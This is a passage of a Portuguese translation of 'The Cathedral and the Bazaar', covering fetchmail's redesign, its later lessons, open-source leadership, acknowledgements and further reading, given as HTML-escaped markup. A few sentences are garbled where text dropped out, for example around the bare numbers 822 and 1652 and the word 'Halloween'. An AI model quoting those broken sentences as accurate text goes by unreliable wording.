&lt;p>(Quando eu mostrei este documento na conferência de Perl em Agosto de 1997, Larry Wall estava na primeira fila. Quando eu li a última linha acima ele gritou fervorosamente, em um estilo religioso nostálgico, &amp;ldquo;Diga, diga, irmão!&amp;rdquo;. Toda a audiência riu, porque eles sabiam que isso também funcionou para o criador do Perl.)&lt;/p>
&lt;p>Após poucas semanas executando o projeto no mesmo espírito, eu comecei a ganhar um louvor semelhante não apenas dos meus usuários mas de outras pessoas que deixaram as palavras escaparem. Eu guardei algumas destas mensagens; irei olhar para elas novamente algum dia se eu começar a questionar se a minha vida valeu a pena :-).&lt;/p>
&lt;p>Mas há duas lições mais fundamentais aqui, não políticas, que são gerais para todos os tipos de projeto.&lt;/p>
&lt;p>&lt;strong>12. Freqüentemente, as soluções mais impressionantes e inovadoras surgem ao se perceber que o seu conceito do problema estava errado.&lt;/strong>&lt;/p>
&lt;p>Eu estava tentando resolver o problema errado ao desenvolver continuamente o popclient como um MTA/MDA combinado com todos os tipos de modos de distribuição local. O projeto do fetchmail precisava ser repensado do início como um puro MTA, uma parte do caminho normal do correio da Internet que fala SMTP.&lt;/p>
&lt;p>Quando você atinge uma parede ao desenvolver &amp;ndash; quando você dificilmente se encontra pensando em algo depois do próximo patch &amp;ndash; é freqüentemente tempo para perguntar não se você tem a resposta certa, mas se você está perguntando a pergunta correta. Talvez o problema precise ser reformulado.&lt;/p>
&lt;p>Bem, eu reformulei meu problema. Claramente, a coisa certa a fazer era (1) codificar o suporte para reenvio por SMTP no driver genérico, (2) tornar isto o modo default, e (3) eventualmente desfazer todos os outros modos de envio, especialmente as opções de enviar-para-arquivo e enviar-para-saída-padrão.&lt;/p>
&lt;p>Eu hesitei sobre o passo 3 por algum tempo, temendo aborrecer os usuários de longa data do popclient dependentes dos mecanismos alternativos de envio. Em teoria, eles poderiam imediatamente passar a usar arquivos .forward ou seus equivalentes não-sendmail para obter os mesmos efeitos. Na prática a transição poderia ser confusa.&lt;/p>
&lt;p>Mas quando eu a fiz, os benefícios provaram-se altos. As partes obscuras do código do driver sumiram. A configuração ficou radicalmente mais simples &amp;ndash; não mais rastejar à volta atrás do MDA do sistema e da caixa de correio do usuário, não mais preocupações sobre se o sistema operacional suportava locking de arquivo.&lt;/p>
&lt;p>Além disso, a única maneira de perder correio sumira. Se você especificava envio para um arquivo e o disco estava cheio, seu correio estaria perdido. Isto não pode acontecer com o reenvio por SMTP porque o receptor SMTP não retornará OK a não ser que a mensagem possa ser enviada ou pelo menos reprogramada para um envio mais tarde.&lt;/p>
&lt;p>E também, a performance aumentou (embora você não perceberia isso somente com uma execução). Outro benefício não insignificante foi que a página do manual ficou muito mais simples.&lt;/p>
&lt;p>Mais tarde, eu tive que recolocar envio por um MDA local especificado pelo usuário para permitir o tratamento de algumas situações obscuras envolvendo SLIP dinâmico. Mas eu encontrei uma maneira muito mais simples de fazer isto.&lt;/p>
&lt;p>A moral? Não hesite em jogar fora características obsoletas quando você puder fazer isso sem perda de efetividade. Antoine de Saint-Exupéry (que foi um aviador e projetista de aviões quando ele não estava sendo o autor de livros clássicos infantis) disse:&lt;/p>
&lt;p>&lt;strong>13. &amp;ldquo;A perfeição (em projetar) é alcançada não quando não há mais nada a adicionar, mas quando não há nada para jogar fora&amp;rdquo;.&lt;/strong>&lt;/p>
&lt;p>Quando o seu código está ficando tão bom quanto simples, é quando você sabe que está correto. E no processo, o projeto do fetchmail adquiriu uma identidade própria, diferente do ancestral popclient.&lt;/p>
&lt;p>Era tempo para a mudança de nome. O novo projeto parecia muito mais como um irmão do sendmail do que o velho popclient parecia; ambos eram MTAs, mas aonde o sendmail passa e então envia, o novo popclient coleta e então envia. Então, após 2 meses, eu mudei o nome para fetchmail.&lt;/p>
&lt;h1 id="7--fetchmail-cresce">7. Fetchmail cresce&lt;/h1>
&lt;p>Lá estava eu com um projeto elegante e inovador, um código que eu sabia que funcionava bem porque eu usava todos os dias, e uma crescente lista de beta testers. E gradualmente eu percebia que eu não estava mais ocupado com uma trivial codificação pessoal que porventura poderia se tornar útil para algumas pessoas. Eu tinha em minhas mãos um programa que todos os usuários de um sistema Unix com uma conexão de correio SLIP/PPP realmente precisavam.&lt;/p>
&lt;p>Com a característica de reenvio por SMTP, ele passou muito à frente da competição para potencialmente se tornar um &amp;ldquo;category killer&amp;rdquo;, um destes programas clássicos que preenchem seu nicho tão completamente que as alternativas não são somente descartadas como também esquecidas.&lt;/p>
&lt;p>Eu penso que você não pode realmente almejar ou planejar um resultado como este. Você tem que ser atraído para isso por idéias de projeto tão poderosas que posteriormente os resultados parecem inevitáveis, naturais, mesmo predestinados. A única maneira de tentar idéias como esta é tendo muitas idéias &amp;ndash; ou tendo o julgamento de engenharia para levar as boas idéias das outras pessoas além do que estas que as tiveram pensariam que elas poderiam ir.&lt;/p>
&lt;p>Andrew Tanenbaum teve a idéia original de construir um Unix nativo simples para o 386, para uso como uma ferramenta de ensino. Linus Torvalds levou o conceito do Minix para além do que Andrew provavelmente pensou que poderia ir &amp;ndash; e cresceu para algo maravilhoso. Da mesma forma (embora em uma menor escala), eu peguei algumas idéias de Carl Harris e Harry Hochheiser e dei um empurrão. Nenhum de nós foi &amp;lsquo;original&amp;rsquo; no sentido romântico que as pessoas pensam é um gênio. Mas a maioria do desenvolvimento de software científico e de engenharia não é feita por um gênio original, a mitologia desenvolvedor ao contrário.&lt;/p>
&lt;p>Os resultados foram todos sempre muito precipitados &amp;ndash; de fato, o tipo de sucesso que qualquer desenvolvedor está sempre procurando! E eles significaram que eu teria que definir meus padrões ainda mais altos. Para fazer o fetchmail tão bom como eu então achava que poderia se tornar, eu teria que escrever não somente para minhas próprias necessidades, mas também incluir e suportar características necessárias para outros fora do meu relacionamento. E fazer isto mantendo o programa simples e robusto.&lt;/p>
&lt;p>A primeira e mais importante esmagadora característica que eu escrevi depois de perceber isto foi o suporte a multidrop &amp;ndash; a habilidade de capturar correio de caixas de correio que acumularam todas as mensagens para um grupo de usuários, e então destinar cada pedaço de correio para seus destinatários individuais.&lt;/p>
&lt;p>Eu decidi adicionar o suporte ao multidrop em parte porque alguns usuários estavam pedindo por isto, mas principalmente porque eu pensei que isto iria retirar os erros do código para o envio simples me forçando a manipular o endereçamento de um modo geral. E assim se provou 822 me tomou um tempo consideravelmente longo, não porque qualquer pedaço dele é difícil mas porque envolvia uma pilha de detalhes interdependentes e elaborados.&lt;/p>
&lt;p>Mas o endereçamento multidrop se tornou uma decisão de projeto excelente. Aqui está como eu soube:&lt;/p>
&lt;p>**14. Qualquer ferramenta deve ser útil da maneira esperada, mas uma ferramenta verdadeiramente **&lt;strong>&lt;em>boa&lt;/em> leva ela própria a usos que você nunca esperou.&lt;/strong>&lt;/p>
&lt;p>O uso inesperado para o multidrop do fetchmail é executar mailing lists com a lista mantida, e expansão de apelidos feita, no lado do cliente da conexão SLIP/PPP. Isto significa que alguém executando uma máquina pessoal por uma conta ISP pode administrar uma mailing list sem acesso contínuo aos arquivos de apelidos do ISP&lt;/p>
&lt;p>Outra importante mudança solicitada pelos meus beta testers foi suporte para operação MIME 8-bit. Isto foi muito fácil de fazer, porque eu estava sendo cuidadoso mantendo o código pronto para 8-bit. Não porque eu antecipei a demanda para esta característica, mas em obediência a outra regra:&lt;/p>
&lt;p>**15. Quando escrevendo um software gateway de qualquer tipo, faça tudo para perturbar o conjunto de dados o menos possível &amp;ndash; e &lt;em>nunca&lt;/em> jogue fora informação a não ser que o **&lt;strong>destinatário force você a isto!&lt;/strong>&lt;/p>
&lt;p>Se eu não tivesse obedecido esta regra, o suporte a MIME 8- bit teria sido difícil e cheio de erros. Como estava, tudo o que tive 1652 e adicionar um pouco de lógica trivial para a geração de cabeçalho.&lt;/p>
&lt;p>Alguns usuários Europeus insistiram para que eu adicionasse uma opção para limitar o número de mensagens recebidas por seção (de maneira que eles poderiam controlar custos das suas caras redes de telefone). Eu resisti por um longo tempo, e ainda não estou inteiramente alegre sobre isto. Mas se você está escrevendo para o mundo, você tem que ouvir os seus clientes &amp;ndash; isto não muda somente porque eles não estão pagando dinheiro a você.&lt;/p>
&lt;h1 id="8--algumas-lições-a-mais-do-fetchmail">8. Algumas lições a mais do Fetchmail&lt;/h1>
&lt;p>Antes de voltarmos ao assunto de engenharia de software em geral, existem algumas lições a mais da experiência do fetchmail para ponderar.&lt;/p>
&lt;p>A sintaxe do arquivo rc inclui palavra-chaves &amp;lsquo;ruidosas&amp;rsquo; opcionais que são inteiramente ignoradas pelo analisador. A sintaxe parecida com o Inglês que elas permitem é consideravelmente mais inteligível que os concisos pares tradicionais palavra-chave-valor que você obtém quando as retira.&lt;/p>
&lt;p>Estas começaram como um experimento posterior quando eu percebi como as declarações do arquivo rc estava começando a lembrar uma mini-linguagem imperativa. (É por isto também que eu mudei a palavra-chave original &amp;lsquo;server&amp;rsquo; do popclient para &amp;lsquo;poll&amp;rsquo;).&lt;/p>
&lt;p>Parecia para mim que tentar fazer esta mini-linguagem imperativa parecer mais como o Inglês poderia torná-la mais fácil de ser usada. Agora, embora eu seja um convencido adepto da escola de projeto &amp;ldquo;faça isso uma linguagem&amp;rdquo; como exemplificado pelo Emacs e HTML e muitos sistemas de banco de dados, eu normalmente não sou um grande fã das sintaxes &amp;ldquo;English-like&amp;rdquo;.&lt;/p>
&lt;p>Programadores tradicionais tendem a serem a favor de sintaxes de controle que são muito precisas e compactas e não contém redundância alguma. Isto é um legado cultural de quando os recursos computacionais eram caros, então os estágios de análise tinham que ser tão baratos e simples quanto possíveis. O Inglês, com redundância de aproximadamente 50%, parecia ser um modelo muito impróprio.&lt;/p>
&lt;p>Esta não é minha razão para normalmente evitar sintaxes no estilo do Inglês; eu menciono isto aqui somente para arrasá-la. Com ciclos e núcleos baratos, concisão não deve ser ela mesma um fim. Hoje em dia é mais importante para uma linguagem ser conveniente para humanos do que ser barata para o computador.&lt;/p>
&lt;p>Há, entretanto, boas razões para ser cauteloso. Uma é o custo da complexidade do estágio de análise &amp;ndash; você não quer aumentá-lo ao ponto onde é uma fonte significativa de erros e confusão de usuários. Outra é que tentar fazer a sintaxe de uma linguagem English-like freqüentemente demanda que o &amp;ldquo;Inglês&amp;rdquo; que é falado seja seriamente propenso a ser fora de forma, tanto como a semelhança superficial com a linguagem natural é tão confusa como a sintaxe tradicional seria. (Você vê isso em várias linguagens chamadas de &amp;ldquo;quarta geração&amp;rdquo; e em linguagens de consulta de banco de dados comerciais.)&lt;/p>
&lt;p>A sintaxe de controle do fetchmail parece evitar estes problemas porque o domínio da linguagem é extremamente restrito. Não é perto de uma linguagem de uso geral; as coisas que ela diz simplesmente não são muito complicadas, então há pouco potencial para confusão em mover mentalmente entre um pequeno conjunto do Inglês e a real linguagem de controle. Eu acho que há uma lição mais abrangente aqui:&lt;/p>
&lt;p>&lt;strong>16. Quando sua linguagem não está perto de um Turing completo, açúcar sintático pode ser seu amigo.&lt;/strong>&lt;/p>
&lt;p>Outra lição é sobre segurança por obscuridade. Alguns usuários do fetchmail me pediram para mudar o software para guardar as senhas encriptadas no arquivo rc, de maneira que bisbilhoteiros não poderiam casualmente vê-las.&lt;/p>
&lt;p>Eu não fiz isso, porque isto não adiciona realmente proteção. Qualquer pessoa que adquira permissões para ler seu arquivo rc poderá executar o fetchmail como você de qualquer maneira &amp;ndash; e se é a sua senha o que eles procuram, poderiam retirar o decodificador do próprio fetchmail para consegui-la.&lt;/p>
&lt;p>Tudo o que a encriptação de senha do arquivo .fetchmailrc faria seria dar a falsa impressão de segurança para pessoas que não pensaram bem sobre este assunto. Aqui a regra geral é:&lt;/p>
&lt;p>&lt;strong>17. Um sistema de segurança é tão seguro quanto é secreto.&lt;/strong> Esteja atento a pseudo-segredos.&lt;/p>
&lt;h1 id="9--pré-condições-necessárias-para-o-estilo-bazar">9. Pré-condições necessárias para o estilo Bazar&lt;/h1>
&lt;p>Os primeiros leitores e audiências para este documento seguidamente levantaram questões sobre as pré-condições para o desenvolvimento bem-sucedido do estilo bazar, incluindo as qualificações do líder do projeto e o estado do código ao tempo em que se torna público e começa a tentar construir uma comunidade de co-desenvolvedores.&lt;/p>
&lt;p>Está claro que ninguém pode codificar desde o início no estilo bazar. Alguém pode testar, achar erros e aperfeiçoar no estilo bazar, mas seria muito difícil originar um projeto no estilo bazar. Linus não tentou isto. Eu também não. A sua comunidade nascente de desenvolvedores precisa ter algo executável e passível de testes para utilizar.&lt;/p>
&lt;p>Quando você começa a construção de uma comunidade, o que você precisa ter capacidade de apresentar é uma promessa plausível. Seu programa não precisa funcionar particularmente bem. Ele pode ser grosseiro, cheio de erros, incompleto, e pobremente documentado. O que não pode deixar de fazer é convencer co-desenvolvedores em potencial de que ele pode evoluir para algo realmente elegante em um futuro próximo.&lt;/p>
&lt;p>Tanto o Linux quanto o fetchmail se tornaram públicos com projetos básicos fortes e atraentes. Muitas pessoas pensando sobre o modelo bazar como eu tenho apresentado têm corretamente considerado isto como crítico, então concluíram a partir disso que um alto grau de intuição e inteligência no líder do projeto é indispensável.&lt;/p>
&lt;p>Mas Linus obteve seu plano do Unix. Eu obtive o meu inicialmente do ancestral do popclient (embora iria posteriormente mudar bastante, muito mais proporcionalmente falando do que mudou o Linux). Então é necessário realmente para o líder/coordenador de um empenho no estilo bazar ter um talento excepcional para planejamento, ou ele pode conseguir o mesmo efeito coordenando o talento de planejamento de outras pessoas?&lt;/p>
&lt;p>Eu penso que não é crítico que o coordenador seja capaz de originar projetos de excepcional brilho, mas é absolutamente crítico que o coordenador seja capaz de reconhecer boas idéias de projetos de outras pessoas.&lt;/p>
&lt;p>Tanto os projetos do Linux quanto o do fetchmail mostram evidências disso. Linus, não sendo (como previamente discutido) um planejador espetacularmente original, mostrou uma habilidade poderosa de reconhecer um bom projeto e integrá-lo no kernel do Linux. E eu já descrevi como a idéia de projeto mais poderosa do fetchmail (reenvio por SMTP) veio de outra pessoa.&lt;/p>
&lt;p>Os primeiros leitores deste documento me elogiaram sugerindo que eu sou propenso a subestimar a originalidade do planejamento de projetos no estilo bazar porque eu tenho muito disso em mim mesmo, e portanto suponho isto. Pode haver alguma verdade nisto; projetar (como oposto a codificar ou depurar) é certamente minha mais forte habilidade.&lt;/p>
&lt;p>Mas o problema em ser inteligente e original no planejamento de software é que isto se torna um hábito &amp;ndash; você começa reflexivamente a fazer coisas atraentes e complicadas quando você deveria mantê-las robustas e simples. Eu tive projetos que falharam porque eu cometi este erro, mas eu administrei para que não acontecesse o mesmo com o fetchmail.&lt;/p>
&lt;p>Então eu acredito que o projeto do fetchmail foi um sucesso em parte porque eu impedi a minha tendência a ser engenhoso; isto vai contra (pelo menos) com o fato de a originalidade em projetar ser essencial para projetos bem-sucedidos no estilo bazar. E considere o Linux. Suponha que Linus Torvalds estivesse tentando levar a cabo inovações fundamentais no projeto de sistemas operacionais durante o desenvolvimento; pareceria que o kernel resultante seria tão estável e bem-sucedido como é?&lt;/p>
&lt;p>Um certo nível básico de habilidade de projetar e codificar é requerido, claro, mas eu suponho que praticamente qualquer um que pense seriamente em lançar um esforço no estilo bazar estará acima do mínimo necessário. O mercado interno da comunidade de software aberto, por reputação, exerce uma sutil pressão nas pessoas para que não lancem esforço de desenvolvimento que não sejam competentes para manter. Até agora isto parece ter funcionado muito bem.&lt;/p>
&lt;p>Há outro tipo de habilidade que não é normalmente associada com o desenvolvimento de software que eu penso é tão importante quanto a engenhosidade em planejar projetos no estilo bazar &amp;ndash; e isto pode ser mais importante. Um coordenador ou líder de um projeto no estilo bazar deve ter boa habilidade de comunicação e relacionamento.&lt;/p>
&lt;p>Isto deve parecer óbvio. Para construir uma comunidade de desenvolvimento, você precisa atrair pessoas, fazer com que se interessem no que você está fazendo, e mantê-las alegres sobre a quantidade de trabalho que estão fazendo. O entusiasmo técnico constitui uma boa parte para atingir isto, mas está longe de ser toda história. A personalidade que você projeta também importa.&lt;/p>
&lt;p>Não é uma coincidência que Linus é um rapaz gentil que faz com que as pessoas gostem dele e que o ajudem. Não é uma coincidência que eu seja um enérgico extrovertido que gosta de trabalhar com pessoas e tenha um pouco de porte e instinto de um cômico. Para fazer o modelo bazar funcionar, isto ajuda enormemente se você tem pelo menos um pouco de habilidade para encantar as pessoas.&lt;/p>
&lt;h1 id="10--o-contexto-social-do-código-aberto">10. O contexto social do código aberto&lt;/h1>
&lt;p>Está escrito: os melhores programas começam como soluções pessoais para os problemas diários do autor, e se espalham porque o problema se torna típico para uma grande classe de usuários. Isto nos traz novamente para a regra 1, recolocada talvez de uma maneira mais útil: &lt;strong>18. Para resolver um problema interessante, comece achando um problema que é interessante para você.&lt;/strong>&lt;/p>
&lt;p>Isso foi o que aconteceu com Carl Harris e o ancestral popclient, e também comigo e o fetchmail. Mas isso foi entendido por um longo tempo. O ponto interessante, o ponto que as histórias do Linux e do fetchmail parecem demandar o nosso foco, é o próximo estágio &amp;ndash; a evolução do software na presença de uma comunidade grande e ativa de co-desenvolvedores.&lt;/p>
&lt;p>Em &amp;ldquo;The Mythical Man-Month&amp;rdquo;, Fred Brooks observou que o tempo de um programador não é acumulativo; adicionar desenvolvedores em um projeto atrasado de software faz com que ele se torne mais atrasado. Ele expôs que a complexidade e custos de comunicação de um projeto crescem com o quadrado do número de desenvolvedores, enquanto o trabalho feito cresce somente linearmente. Esta afirmação é desde então conhecida como &amp;ldquo;A Lei de Brooks&amp;rdquo; e é largamente considerada como correta. Mas se a Lei de Brooks fosse tudo a ser levado em consideração, o Linux seria impossível.&lt;/p>
&lt;p>O clássico &amp;ldquo;The Psychology Of Computer Programming&amp;rdquo;, de Gerald Weinberg, sustentou o que, em retrospectiva, nós podemos ver como uma correção essencial ao Brooks. Em sua discussão sobre &amp;ldquo;programação sem ego&amp;rdquo;, Weinberg observou que nos lugares onde desenvolvedores não são territoriais sobre seu código, e encorajam outras pessoas a procurar por erros e melhorias potenciais nele, as melhorias acontecem dramaticamente mais rápidas que em qualquer outro lugar.&lt;/p>
&lt;p>A escolha da terminologia de Weinberg talvez tenha prevenido sua análise de ganhar a aceitação que merecia &amp;ndash; é engraçado pensar em descrever os desenvolvedores da Internet como &amp;ldquo;sem ego&amp;rdquo;. Mas acho que seu argumento parece mais mais convincente hoje do que nunca.&lt;/p>
&lt;p>A história do Unix deveria ter sido preparada para nós do que nós estamos aprendendo com o Linux (e o que eu tenho verificado experimentalmente em uma menor escala por copiar deliberadamente os métodos do Linus). Isto é, embora codificar permaneça uma atividade essencialmente solitária, os hacks realmente bons advém de captar a atenção e poder de mente de comunidades inteiras. O desenvolvedor que utiliza apenas a capacidade cerebral dele mesmo em um projeto fechado irá ficar atrás de desenvolvedores que saibam como criar um contexto aberto e evolutivo no qual a visualização de erros e melhorias sejam feitas por centenas de pessoas.&lt;/p>
&lt;p>Mas o mundo tradicional do Unix foi impedido de seguir completamente este método por vários fatores. Alguns deles foram os aspectos legais de várias licenças, segredos de comércio e interesses comerciais. Outro (tardio) foi que a Internet ainda não estava boa o suficiente.&lt;/p>
&lt;p>Antes de a Internet baratear, havia algumas comunidades geograficamente pequenas aonde a cultura motivava a programação &amp;ldquo;sem ego&amp;rdquo;??? de Weinberg, e aonde um desenvolvedor poderia facilmente atrair muitos co- desenvolvedores habilidosos. Bell Labs, o MIT AI Lab, UC Berkeley &amp;ndash; estes se tornaram a origem de inovações que são lendárias e ainda fortes.&lt;/p>
&lt;p>Linux foi o primeiro projeto a fazer um esforço consciente e bem-sucedido a utilizar o mundo inteiro como sua reserva de talentos. Eu não acho que seja uma coincidência que o período de gestação do Linux tenha coincidido com o nascimento da World Wide Web, e que o Linux tenha deixado a sua infância durante o mesmo período em 1993-1994 que viu a expansão da indústria de ISP e a explosão do principal interesse da Internet. Linus foi a primeira pessoa que aprendeu como jogar com as novas regras que a onipresente Internet fez possível.&lt;/p>
&lt;p>Embora uma Internet barata fosse uma condição necessária para que o modelo do Linux evoluísse, eu penso que não foi uma condição por si só suficiente. Outro fator vital foi o desenvolvimento de um estilo de liderança e conjunto de formalidades cooperativas que permitiria aos desenvolvedores atrair co- desenvolvedores e obter o máximo suporte do ambiente.&lt;/p>
&lt;p>Mas o que é este estilo de liderança e estas formalidades? Eles não podem estar baseados em relações de poder &amp;ndash; e mesmo que pudessem, a liderança por coerção não produziria os resultados que nós vemos. Weinberg cita a autobiografia do anarquista do século 19 chamado Pyotr Alexeyvich Kropotkin, &amp;ldquo;Memórias de um Revolucionista&amp;rdquo; para demonstrar o efeito neste assunto:&lt;/p>
&lt;p>&amp;ldquo;Tendo sido criado em uma família possuidora de vassalos, eu entrei a vida ativa, como todos os jovens homens da minha idade, com uma grande confidência na necessidade de comandar, ordenar, repreender, punir e etc. Mas quando cedo tive que conduzir empreendimentos sérios e lidar com homens [livres], e quando cada erro levaria de uma vez a sérias conseqüências, eu comecei a apreciar a diferença entre atuar segundo o princípio de comando e disciplina e atuar segundo o princípio da compreensão comum. O primeiro funciona de forma admirável em uma parada militar, mas de nada vale aonde a vida real é considerada, e o objetivo pode ser atingido somente pelo esforço severo de muitos propósitos convergentes.&amp;rdquo;&lt;/p>
&lt;p>O &amp;ldquo;esforço severo de muitos propósitos convergentes&amp;rdquo; é precisamente o que um projeto como o Linux requer &amp;ndash; e o &amp;ldquo;princípio de comando&amp;rdquo; é efetivamente impossível de ser aplicado entre voluntários no paraíso anarquista que nós chamamos de Internet. Para operar e competir efetivamente, desenvolvedores que querem liderar projetos colaborativos têm que aprender como recrutar e energizar comunidades eficazes com interesse no modo vagamente sugerido pelo &amp;ldquo;princípio de compreensão&amp;rdquo; sugerido por Kropotkin. Eles precisam aprender a Lei de Linus.&lt;/p>
&lt;p>Inicialmente eu me referi ao &amp;ldquo;Efeito Delphi&amp;rdquo; como uma possível explicação para a Lei de Linus. Porém analogias mais poderosas aos sistemas adaptativos em biologia e economia também se implicam fortemente. O mundo do Linux se comporta em vários aspectos como um mercado livre ou uma ecologia, uma coleção de agentes autônomos tentando maximizar um empreendimento que no processo produz uma ordem espontânea auto-evolutiva mais elaborada e eficiente que qualquer quantidade de planejamento central poderia ter alcançado. Aqui, então, é o lugar para procurar o &amp;ldquo;princípio da compreensão&amp;rdquo;.&lt;/p>
&lt;p>A &amp;ldquo;função empreendedora&amp;rdquo; que os desenvolvedores do Linux estão maximizando não é economia clássica, mas é a intangível satisfação do seu próprio ego e reputação entre outros desenvolvedores. (Alguém pode chamar a sua motivação de &amp;ldquo;altruísta&amp;rdquo;, mas isso ignora o fato que altruísmo é em si mesmo uma forma de satisfação do ego para um altruísta). Culturas voluntárias que trabalham desta maneira não são realmente incomuns; uma outra que eu tenho participado há tempos é a dos fãs de ficção científica, que ao contrário dos desenvolvedores, explicitamente reconhecem o &amp;ldquo;egoboo&amp;rdquo; (o aumento da reputação de alguém entre os outros fãs) como o guia básico por trás da atividade voluntária.&lt;/p>
&lt;p>Linus, por posicionar ele mesmo como o guia de um projeto em que o desenvolvimento é praticamente feito por outros, e por inspirar interesse no projeto até que ele se tornasse auto-sustentável, tem mostrado um intenso entendimento do &amp;ldquo;princípio da compreensão comum&amp;rdquo; de Kropotkin. Esta visão quase-econômica do mundo do Linux nos permite ver como esta compreensão é aplicada.&lt;/p>
&lt;p>Nós podemos ver o método do Linus como uma maneira de criar um mercado eficiente no &amp;ldquo;egoboo&amp;rdquo; &amp;ndash; para ligar a autonomia de desenvolvedores individuais tão firme quanto possível para dificultar fins que podem ser somente atingidos por uma cooperação sustentada. Com o projeto do fetchmail eu tenho mostrado (embora em uma menor escala) que seus métodos podem ser duplicados com bons resultados. Talvez eu tenha até mesmo feito de uma maneira um pouco mais consciente e sistemática do que ele.&lt;/p>
&lt;p>Muitas pessoas (especialmente aquelas que politicamente desacreditam os mercados livres) poderiam esperar de uma cultura de egoístas auto- direcionada ser fragmentada, territorial, desperdiçadora, reservada e hostil. Mas esta expectativa é claramente desfeita pela (para dar só um exemplo) imensa variedade, qualidade e profundidade da documentação do Linux. É notoriamente conhecido que os programadores detestam documentar; como, então, os desenvolvedores do Linux geram tanto disto? Evidentemente o mercado livre do Linux em egoboo trabalha melhor para produzir comportamentos virtuosos e direcionados a outros propósitos que os centros de documentação massivamente fundados de produtores de software comercial.&lt;/p>
&lt;p>Tanto o projeto do fetchmail como o do kernel do Linux mostram que ao se recompensar propriamente o ego de muitos outros desenvolvedores, um desenvolvedor/coordenador forte pode usar a Internet para capturar os benefícios de se ter vários co-desenvolvedores sem fazer o projeto colapsar em uma confusão caótica. Então eu contra-proponho para a Lei de Brooks o seguinte:&lt;/p>
&lt;p>&lt;strong>19. Contanto que o coordenador do desenvolvimento tenha uma mídia pelo menos tão boa quanto a Internet, e saiba como liderar sem coerção, muitas cabeças são inevitavelmente melhores que uma.&lt;/strong>&lt;/p>
&lt;p>Eu acredito que o futuro do software de código aberto irá pertencer gradativamente a pessoas que saibam como jogar o jogo do Linus, pessoas que deixam para trás a catedral e abraçam o bazar. Isto não quer dizer que uma visão individual e brilhante não irá mais ter importância; ao contrário, eu acredito que o estado da arte do software de código aberto irá pertencer a pessoas que iniciem de uma visão individual e brilhante, então amplificando-a através da construção efetiva de uma comunidade voluntária de interesse.&lt;/p>
&lt;p>E talvez não somente o futuro do software de código aberto. Nenhum desenvolvedor de código fechado pode competir com o conjunto de talento que a comunidade do Linux pode dar para resolver um problema. Muito poucos podem até mesmo ser capazes de pagar as mais de duzentas pessoas que têm contribuído para o fetchmail!&lt;/p>
&lt;p>Talvez no final a cultura de código aberto irá triunfar não porque a cooperação é moralmente correta ou a &amp;ldquo;proteção&amp;rdquo; do software é moralmente errada (assumindo que você acredita na última, o que não faz tanto o Linus como eu), mas simplesmente porque o mundo do software de código fechado não pode vencer uma corrida evolucionária com as comunidades de código aberto que podem colocar mais tempo hábil ordens de magnitude acima em um problema.&lt;/p>
&lt;h1 id="11--agradecimentos">11. Agradecimentos&lt;/h1>
&lt;p>Este documento foi enriquecido através de conversas com um grande número de pessoas que ajudaram a depurá-lo. Agradecimentos particulares a Jeff Dutky &lt;a href="mailto:dutky@wam.umd.edu">dutky@wam.umd.edu&lt;/a>
, que sugeriu a formulação &amp;ldquo;depuração é paralelizável&amp;rdquo;, e ajudou a desenvolver a análise que se procedeu a isso. E também a Nancy Lebovitz &lt;a href="mailto:nancyl@universe.digex.net">nancyl@universe.digex.net&lt;/a>
pela sua sugestão que eu imitei Weinberg ao citar Kropotkin. Críticas incisivas também vieram de Joan Eslinger &lt;a href="mailto:wombat@kilimanjaro.engr.sgi.com">wombat@kilimanjaro.engr.sgi.com&lt;/a>
e Marty Franz &lt;a href="mailto:marty@net-link.net">marty@net-link.net&lt;/a>
da lista de Técnicas Gerais. Sou grato aos membros do PLUG, o Grupo de Usuários de Linux da Filadélfia, por permitir a primeira audiência de teste para a primeira versão pública deste documento. Finalmente, os comentários de Linus Torvalds foram importantes e seu apoio desde o início foi muito estimulante.&lt;/p>
&lt;h1 id="12--para-leitura-adicional">12. Para leitura adicional&lt;/h1>
&lt;p>Eu citei várias frases do clássico The Mythical Man-Month de Frederick P. Brook porque, em muitos aspectos, suas considerações ainda precisam ser mais analisadas. Eu recomendo fortemente a 25a. edição de Aniversário de Addison-Wesley (ISBN 0-201-83595-9), que adiciona seu documento &amp;ldquo;No Silver Bullet&amp;rdquo; de 1986.&lt;/p>
&lt;p>A nova edição é envolvida por uma inestimável retrospectiva de 20 anos atrasada na qual Brooks admite francamente os poucos julgamentos no texto original que não resistiram ao teste do tempo. Achei que a retrospectiva deste documento estava substancialmente completa, e fiquei surpreso ao descobrir que Brooks atribui práticas como o estilo bazar à Microsoft! (De fato, entretanto, esta atribuição Halloween que a comunidade interna de desenvolvimento da Microsoft é estratificada, com o tipo comum de acesso ao código necessário para suportar o bazar muitas vezes nem mesmo possível.)&lt;/p>
&lt;p>The Psychology Of Computer Programming, de Gerald M. Weinberg (New York, Van Nostrand Reinhold 1971) introduziu o conceito um tanto mal nomeado de &amp;ldquo;programação sem ego&amp;rdquo;. Embora ele não estivesse nem perto de ser a primeira pessoa a perceber a futilidade do &amp;ldquo;princípio do comando&amp;rdquo;, ele foi provavelmente o primeiro a reconhecer e argumentar o ponto particular de ligação com o desenvolvimento de software.&lt;/p>
&lt;p>Richard P. Gabriel, contemplando a cultura Unix da era pré-Linux, relutantemente argumentou a favor da superioridade do modelo primitivo do estilo bazar em seu documento Lisp: Good News, Bad News, and How To Win Big, de 1989. Embora obsoleto em alguns aspectos, este ensaio ainda é muito cotado entre os fãs do Lisp (incluindo eu). Um correspondente me lembrou que a seção entitulada &amp;ldquo;O Pior é o Melhor&amp;quot;parece-se mais como uma antecipação do Linux. O documento está disponível na World Wide Web em &lt;a href="http://www.naggum.no/worse-is-better.html" target="_blank" rel="noopener noreferrer">http://www.naggum.no/worse-is-better.html&lt;/a>
.&lt;/p>
&lt;p>Peopleware: Productive Projects and Teams (New York; Dorset House, 1987; ISBN 0-932633-05-6), de De Marco e Lister, é uma jóia pouco apreciada na qual fiquei deliciado em ver Fred Brooks citá-la em sua retrospectiva. Embora pouco do que os autores têm a dizer é diretamente aplicável às comunidades do código aberto do Linux, as idéias do autor sobre as condições necessárias para um trabalho criativo é incisivo e válido para qualquer um que tente importar um pouco das virtudes do modelo bazar para o contexto comercial.&lt;/p>
&lt;p>Finalmente, eu devo admitir que eu quase chamei este documento de &amp;ldquo;A Catedral e a Ágora&amp;rdquo;, o último termo sendo o grego para um mercado aberto ou um lugar de encontro público. Os documentos &amp;ldquo;sistemas agóricos&amp;rdquo; de Mark Miller e Eric Drexler, descrevendo as propriedades emergentes de ecologias computacionais de mercado, me ajudaram a me preparar a pensar claramente sobre fenômenos análogos na cultura do código aberto quando o Linux esfregou o meu nariz neles cinco anos&lt;/p>
